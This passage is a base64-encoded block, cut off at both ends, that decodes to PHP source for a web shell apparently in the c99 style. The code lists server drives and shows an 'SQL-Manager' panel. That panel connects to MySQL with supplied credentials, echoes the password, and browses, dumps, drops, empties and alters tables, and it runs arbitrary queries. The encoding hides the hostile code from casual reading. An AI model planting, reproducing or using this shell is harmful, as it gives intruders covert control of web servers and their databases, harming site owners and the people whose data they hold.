Rib29sID0gaXNfZGlyKCRsZXR0ZXIuIjpcXCIpO30KICBpZiAoJGJvb2wpCiAgewogICAkbGV0dGVycyAuPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1scyZkPSIudXJsZW5jb2RlKCRsZXR0ZXIuIjpcXCIpLiJcIiIuKCRpc2Rpc2tldHRlPyIgb25jbGljaz1cInJldHVybiBjb25maXJtKCdNYWtlIHN1cmUgdGhhdCB0aGUgZGlza2V0dGUgaXMgaW5zZXJ0ZWQgcHJvcGVybHksIG90aGVyd2lzZSBhbiBlcnJvciBtYXkgb2NjdXIuJylcIiI6IiIpLiI+WyAiOwogICBpZiAoJGxldHRlci4iOiIgIT0gJHYpIHskbGV0dGVycyAuPSAkbGV0dGVyO30KICAgZWxzZSB7JGxldHRlcnMgLj0gIjxmb250IGNvbG9yPWdyZWVuPiIuJGxldHRlci4iPC9mb250PiI7fQogICAkbGV0dGVycyAuPSAiIF08L2E+ICI7CiAgfQogfQogaWYgKCFlbXB0eSgkbGV0dGVycykpIHtlY2hvICI8Yj5EZXRlY3RlZCBkcml2ZXM8L2I+OiAiLiRsZXR0ZXJzLiI8YnI+Ijt9Cn0KaWYgKGNvdW50KCRxdWlja2xhdW5jaCkgPiAwKQp7CiBmb3JlYWNoKCRxdWlja2xhdW5jaCBhcyAkaXRlbSkKIHsKICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlZCIsdXJsZW5jb2RlKCRkKSwkaXRlbVsxXSk7CiAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXNvcnQiLCRzb3J0LCRpdGVtWzFdKTsKICAkdiA9IHJlYWxwYXRoKCRkLiIuLiIpOwogIGlmIChlbXB0eSgkdikpIHskYSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7IHVuc2V0KCRhW2NvdW50KCRhKS0yXSk7ICR2ID0gam9pbihESVJFQ1RPUllfU0VQQVJBVE9SLCRhKTt9CiAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXVwZCIsdXJsZW5jb2RlKCR2KSwkaXRlbVsxXSk7CiAgZWNobyAiPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiOwogfQp9CmVjaG8gIjwvcD48L3RkPjwvdHI+PC90YWJsZT48YnI+IjsKaWYgKCghZW1wdHkoJGRvbmF0ZWRfaHRtbCkpIGFuZCAoaW5fYXJyYXkoJGFjdCwkZG9uYXRlZF9hY3QpKSkge2VjaG8gIjxUQUJMRSBzdHlsZT1cIkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2VcIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMDAwMDAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPVwiMTAwJVwiIHZhbGlnbj1cInRvcFwiPiIuJGRvbmF0ZWRfaHRtbC4iPC90ZD48L3RyPjwvdGFibGU+PGJyPiI7fQplY2hvICI8VEFCTEUgc3R5bGU9XCJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlXCIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnQ29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD1cIjEwMCVcIiB2YWxpZ249XCJ0b3BcIj4iOwppZiAoJGFjdCA9PSAiIikgeyRhY3QgPSAkZHNwYWN0ID0gImxzIjt9CmlmICgkYWN0ID09ICJzcWwiKQp7CiAkc3FsX3N1cmwgPSAkc3VybC4iYWN0PXNxbCI7CiBpZiAoJHNxbF9sb2dpbikgIHskc3FsX3N1cmwgLj0gIiZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pO30KIGlmICgkc3FsX3Bhc3N3ZCkgeyRzcWxfc3VybCAuPSAiJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTt9CiBpZiAoJHNxbF9zZXJ2ZXIpIHskc3FsX3N1cmwgLj0gIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7fQogaWYgKCRzcWxfcG9ydCkgICB7JHNxbF9zdXJsIC49ICImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7fQogaWYgKCRzcWxfZGIpICAgICB7JHNxbF9zdXJsIC49ICImc3FsX2RiPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTt9CiAkc3FsX3N1cmwgLj0gIiYiOwogPz48aDM+QXR0ZW50aW9uISBTUUwtTWFuYWdlciBpcyA8dT5OT1Q8L3U+IHJlYWR5IG1vZHVsZSEgRG9uJ3QgcmVwb3J0cyBidWdzLjwvaDM+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTEgYm9yZGVyY29sb3I9IiNDMEMwQzAiPjx0cj48dGQgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSIgY29sc3Bhbj0iMiIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PD9waHAKIGlmICgkc3FsX3NlcnZlcikKIHsKICAkc3FsX3NvY2sgPSBteXNxbF9jb25uZWN0KCRzcWxfc2VydmVyLiI6Ii4kc3FsX3BvcnQsICRzcWxfbG9naW4sICRzcWxfcGFzc3dkKTsKICAkZXJyID0gbXlzcWxfc21hcnRlcnJvcigpOwogIEBteXNxbF9zZWxlY3RfZGIoJHNxbF9kYiwkc3FsX3NvY2spOwogIGlmICgkc3FsX3F1ZXJ5IGFuZCAkc3VibWl0KSB7JHNxbF9xdWVyeV9yZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5LCRzcWxfc29jayk7ICRzcWxfcXVlcnlfZXJyb3IgPSBteXNxbF9zbWFydGVycm9yKCk7fQogfQogZWxzZSB7JHNxbF9zb2NrID0gRkFMU0U7fQogZWNobyAiPGI+U1FMIE1hbmFnZXI6PC9iPjxicj4iOwogaWYgKCEkc3FsX3NvY2spCiB7CiAgaWYgKCEkc3FsX3NlcnZlcikge2VjaG8gIk5PIENPTk5FQ1RJT04iO30KICBlbHNlIHtlY2hvICI8Y2VudGVyPjxiPkNhbid0IGNvbm5lY3Q8L2I+PC9jZW50ZXI+IjsgZWNobyAiPGI+Ii4kZXJyLiI8L2I+Ijt9CiB9CiBlbHNlCiB7CiAgJHNxbHF1aWNrbGF1bmNoID0gYXJyYXkoKTsKICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJJbmRleCIsJHN1cmwuImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIik7CiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUXVlcnkiLCRzcWxfc3VybC4ic3FsX2FjdD1xdWVyeSZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKSk7CiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiU2VydmVyLXN0YXR1cyIsJHN1cmwuImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImc3FsX2FjdD1zZXJ2ZXJzdGF0dXMiKTsKICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJTZXJ2ZXIgdmFyaWFibGVzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXNlcnZlcnZhcnMiKTsKICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJQcm9jZXNzZXMiLCRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF9hY3Q9cHJvY2Vzc2VzIik7CiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiTG9nb3V0Iiwkc3VybC4iYWN0PXNxbCIpOwogIGVjaG8gIjxjZW50ZXI+PGI+TXlTUUwgIi5teXNxbF9nZXRfc2VydmVyX2luZm8oKS4iIChwcm90byB2LiIubXlzcWxfZ2V0X3Byb3RvX2luZm8gKCkuIikgcnVubmluZyBpbiAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiI6Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiBhcyAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIkAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiIgKHBhc3N3b3JkIC0gXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIik8L2I+PGJyPiI7CiAgaWYgKGNvdW50KCRzcWxxdWlja2xhdW5jaCkgPiAwKSB7Zm9yZWFjaCgkc3FscXVpY2tsYXVuY2ggYXMgJGl0ZW0pIHtlY2hvICJbIDxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj48Yj4iLiRpdGVtWzBdLiI8L2I+PC9hPiBdICI7fX0KICBlY2hvICI8L2NlbnRlcj4iOwogfQogZWNobyAiPC90ZD48L3RyPjx0cj4iOwogaWYgKCEkc3FsX3NvY2spIHs/Pjx0ZCB3aWR0aD0iMjglIiBoZWlnaHQ9IjEwMCIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGZvbnQgc2l6ZT0iNSI+IGkgPC9mb250PjwvY2VudGVyPjxsaT5JZiBsb2dpbiBpcyBudWxsLCBsb2dpbiBpcyBvd25lciBvZiBwcm9jZXNzLjxsaT5JZiBob3N0IGlzIG51bGwsIGhvc3QgaXMgbG9jYWxob3N0PC9iPjxsaT5JZiBwb3J0IGlzIG51bGwsIHBvcnQgaXMgMzMwNiAoZGVmYXVsdCk8L3RkPjx0ZCB3aWR0aD0iOTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48VEFCTEUgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIHdpZHRoPSIxMDAlIiBib3JkZXI9MD48dHI+PHRkPiZuYnNwOzxiPlBsZWFzZSwgZmlsbCB0aGUgZm9ybTo8L2I+PHRhYmxlPjx0cj48dGQ+PGI+VXNlcm5hbWU8L2I+PC90ZD48dGQ+PGI+UGFzc3dvcmQ8L2I+Jm5ic3A7PC90ZD48dGQ+PGI+RGF0YWJhc2U8L2I+Jm5ic3A7PC90ZD48L3RyPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48dHI+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSJyb290IiBtYXhsZW5ndGg9IjY0Ij48L3RkPjx0ZD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSIiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfZGIiIHZhbHVlPSIiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PC90cj48dHI+PHRkPjxiPkhvc3Q8L2I+PC90ZD48dGQ+PGI+UE9SVDwvYj48L3RkPjwvdHI+PHRyPjx0ZCBhbGlnbj1yaWdodD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9ImxvY2FsaG9zdCIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iMzMwNiIgbWF4bGVuZ3RoPSI2IiBzaXplPSIzIj48L3RkPjx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCI+PC90ZD48L3RyPjx0cj48dGQ+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+PD9waHAgfQogZWxzZQogewogIC8vU3RhcnQgbGVmdCBwYW5lbAogIGlmICghZW1wdHkoJHNxbF9kYikpCiAgewogICA/Pjx0ZCB3aWR0aD0iMjUlIiBoZWlnaHQ9IjEwMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSI8P3BocCBlY2hvICRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJiI7ID8+Ij48Yj5Ib21lPC9iPjwvYT48aHIgc2l6ZT0iMSIgbm9zaGFkZT48P3BocAogICAkcmVzdWx0ID0gbXlzcWxfbGlzdF90YWJsZXMoJHNxbF9kYik7CiAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30KICAgZWxzZQogICB7CiAgICBlY2hvICItLS1bIDxhIGhyZWY9XCIiLiRzcWxfc3VybC4iJlwiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iPC9iPjwvYT4gXS0tLTxicj4iOwogICAgJGMgPSAwOwogICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRjb3VudCA9IG15c3FsX3F1ZXJ5ICgiU0VMRUNUIENPVU5UKCopIEZST00gIi4kcm93WzBdKTsgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRjb3VudCk7IGVjaG8gIjxiPiYjMTg3OyZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2RiPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iJnNxbF90Ymw9Ii5odG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiJcIj48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJHJvd1swXSkuIjwvYj48L2E+ICgiLiRjb3VudF9yb3dbMF0uIik8L2JyPjwvYj4iOyBteXNxbF9mcmVlX3Jlc3VsdCgkY291bnQpOyAkYysrO30KICAgIGlmICghJGMpIHtlY2hvICJObyB0YWJsZXMgZm91bmQgaW4gZGF0YWJhc2UuIjt9CiAgIH0KICB9CiAgZWxzZQogIHsKICAgPz48dGQgd2lkdGg9IjEiIGhlaWdodD0iMTAwIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3FsX3N1cmw7ID8+Ij48Yj5Ib21lPC9iPjwvYT48aHIgc2l6ZT0iMSIgbm9zaGFkZT48P3BocAogICAkcmVzdWx0ID0gbXlzcWxfbGlzdF9kYnMoJHNxbF9zb2NrKTsKICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQogICBlbHNlCiAgIHsKICAgID8+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxzZWxlY3QgbmFtZT0ic3FsX2RiIj48P3BocAogICAgJGMgPSAwOwogICAgJGRicyA9ICIiOwogICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlc3VsdCkpIHskZGJzIC49ICI8b3B0aW9uIHZhbHVlPVwiIi4kcm93WzBdLiJcIiI7IGlmICgkc3FsX2RiID09ICRyb3dbMF0pIHskZGJzIC49ICIgc2VsZWN0ZWQiO30gJGRicyAuPSAiPiIuJHJvd1swXS4iPC9vcHRpb24+IjsgJGMrKzt9CiAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+RGF0YWJhc2VzICgiLiRjLiIpPC9vcHRpb24+IjsKICAgIGVjaG8gJGRiczsKICAgfQogICA/Pjwvc2VsZWN0PjxociBzaXplPSIxIiBub3NoYWRlPlBsZWFzZSwgc2VsZWN0IGRhdGFiYXNlPGhyIHNpemU9IjEiIG5vc2hhZGU+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIj48L2Zvcm0+PD9waHAKICB9CiAgLy9FbmQgbGVmdCBwYW5lbAogIGVjaG8gIjwvdGQ+PHRkIHdpZHRoPVwiMTAwJVwiIGhlaWdodD1cIjFcIiB2YWxpZ249XCJ0b3BcIj4iOwogIC8vU3RhcnQgY2VudGVyIHBhbmVsCiAgJGRpcGxheSA9IFRSVUU7CiAgaWYgKCRzcWxfZGIpCiAgewogICBpZiAoIWlzX251bWVyaWMoJGMpKSB7JGMgPSAwO30KICAgaWYgKCRjID09IDApIHskYyA9ICJubyI7fQogICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxjZW50ZXI+PGI+VGhlcmUgYXJlICIuJGMuIiB0YWJsZShzKSBpbiB0aGlzIERCICgiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIikuPGJyPiI7CiAgIGlmIChjb3VudCgkZGJxdWlja2xhdW5jaCkgPiAwKSB7Zm9yZWFjaCgkZGJzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkge2VjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gXSAiO319CiAgIGVjaG8gIjwvYj48L2NlbnRlcj4iOwogICAkYWN0cyA9IGFycmF5KCIiLCJkdW1wIik7CiAgIGlmICgkc3FsX2FjdCA9PSAidGJsZHJvcCIpIHskc3FsX3F1ZXJ5ID0gIkRST1AgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsZW1wdHkiKSB7JHNxbF9xdWVyeSA9ICIiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJERUxFVEUgRlJPTSBgIi4kdi4iYCBcbiI7fSAkc3FsX2FjdCA9ICJxdWVyeSI7fQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxkdW1wIikge2lmIChjb3VudCgkYm94dGJsKSA+IDApIHskZG1wdGJscyA9ICRib3h0Ymw7fSBlbHNlaWYoJHRoaXN0YmwpIHskZG1wdGJscyA9IGFycmF5KCRzcWxfdGJsKTt9ICRzcWxfYWN0ID0gImR1bXAiO30KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsY2hlY2siKSB7JHNxbF9xdWVyeSA9ICJDSEVDSyBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxvcHRpbWl6ZSIpIHskc3FsX3F1ZXJ5ID0gIk9QVElNSVpFIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9CiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibHJlcGFpciIpIHskc3FsX3F1ZXJ5ID0gIlJFUEFJUiBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxhbmFseXplIikgeyRzcWxfcXVlcnkgPSAiQU5BTFlaRSBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJkZWxldGVyb3ciKSB7JHNxbF9xdWVyeSA9ICIiOyBpZiAoIWVtcHR5KCRib3hyb3dfYWxsKSkgeyRzcWxfcXVlcnkgPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYDsiO30gZWxzZSB7Zm9yZWFjaCgkYm94cm93IGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHYuIiBMSU1JVCAxO1xuIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKTt9ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9CiAgIGVsc2VpZiAoJHNxbF90YmxfYWN0ID09ICJpbnNlcnQiKQogICB7CiAgICBpZiAoJHNxbF90YmxfaW5zZXJ0X3JhZGlvID09IDEpCiAgICB7CiAgICAgJGtleXMgPSAiIjsKICAgICAkYWtleXMgPSBhcnJheV9rZXlzKCRzcWxfdGJsX2luc2VydCk7CiAgICAgZm9yZWFjaCAoJGFrZXlzIGFzICR2KSB7JGtleXMgLj0gImAiLmFkZHNsYXNoZXMoJHYpLiJgLCAiO30KICAgICBpZiAoIWVtcHR5KCRrZXlzKSkgeyRrZXlzID0gc3Vic3RyKCRrZXlzLDAsc3RybGVuKCRrZXlzKS0yKTt9CiAgICAgJHZhbHVlcyA9ICIiOwogICAgICRpID0gMDsKICAgICBmb3JlYWNoIChhcnJheV92YWx1ZXMoJHNxbF90YmxfaW5zZXJ0KSBhcyAkdikge2lmICgkZnVuY3QgPSAkc3FsX3RibF9pbnNlcnRfZnVuY3RzWyRha2V5c1skaV1dKSB7JHZhbHVlcyAuPSAkZnVuY3QuIiAoIjt9ICR2YWx1ZXMgLj0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsgaWYgKCRmdW5jdCkgeyR2YWx1ZXMgLj0gIikiO30gJHZhbHVlcyAuPSAiLCAiOyAkaSsrO30KICAgICBpZiAoIWVtcHR5KCR2YWx1ZXMpKSB7JHZhbHVlcyA9IHN1YnN0cigkdmFsdWVzLDAsc3RybGVuKCR2YWx1ZXMpLTIpO30KICAgICAkc3FsX3F1ZXJ5ID0gIklOU0VSVCBJTlRPIGAiLiRzcWxfdGJsLiJgICggIi4ka2V5cy4iICkgVkFMVUVTICggIi4kdmFsdWVzLiIgKTsiOwogICAgICRzcWxfYWN0ID0gInF1ZXJ5IjsKICAgICAkc3FsX3RibF9hY3QgPSAiYnJvd3NlIjsKICAgIH0KICAgIGVsc2VpZiAoJHNxbF90YmxfaW5zZXJ0X3JhZGlvID09IDIpCiAgICB7CiAgICAgJHNldCA9IG15c3FsX2J1aWxkd2hlcmUoJHNxbF90YmxfaW5zZXJ0LCIsICIsJHNxbF90YmxfaW5zZXJ0X2Z1bmN0cyk7CiAgICAgJHNxbF9xdWVyeSA9ICJVUERBVEUgYCIuJHNxbF90YmwuImAgU0VUICIuJHNldC4iIFdIRVJFICIuJHNxbF90YmxfaW5zZXJ0X3EuIiBMSU1JVCAxOyI7CiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnkpIG9yIHByaW50KG15c3FsX3NtYXJ0ZXJyb3IoKSk7CiAgICAgJHJlc3VsdCA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKTsKICAgICAkc3FsX2FjdCA9ICJxdWVyeSI7CiAgICAgJHNxbF90YmxfYWN0ID0gImJyb3dzZSI7CiAgICB9CiAgIH0KICAgaWYgKCRzcWxfYWN0ID09ICJxdWVyeSIpCiAgIHsKICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKICAgIGlmICgoJHN1Ym1pdCkgYW5kICghJHNxbF9xdWVyeV9yZXN1bHQpIGFuZCAoJHNxbF9jb25maXJtKSkge2lmICghJHNxbF9xdWVyeV9lcnJvcikgeyRzcWxfcXVlcnlfZXJyb3IgPSAiUXVlcnkgd2FzIGVtcHR5Ijt9IGVjaG8gIjxiPkVycm9yOjwvYj4gPGJyPiIuJHNxbF9xdWVyeV9lcnJvci4iPGJyPiI7fQogICAgaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfYWN0ID0gJHNxbF9nb3RvO30KICAgIGlmICgoISRzdWJtaXQpIG9yICgkc3FsX2FjdCkpIHtlY2hvICI8dGFibGUgYm9yZGVyPVwiMFwiIHdpZHRoPVwiMTAwJVwiIGhlaWdodD1cIjFcIj48dHI+PHRkPjxmb3JtIGFjdGlvbj1cIiIuJHNxbF9zdXJsLiJcIiBtZXRob2Q9XCJQT1NUXCI+PGI+IjsgaWYgKCgkc3FsX3F1ZXJ5KSBhbmQgKCEkc3VibWl0KSkge2VjaG8gIkRvIHlvdSByZWFsbHkgd2FudCB0bzoiO30gZWxzZSB7ZWNobyAiU1FMLVF1ZXJ5IDoiO30gZWNobyAiPC9iPjxicj48YnI+PHRleHRhcmVhIG5hbWU9XCJzcWxfcXVlcnlcIiBjb2xzPVwiMTAwXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2FjdFwiIHZhbHVlPVwicXVlcnlcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90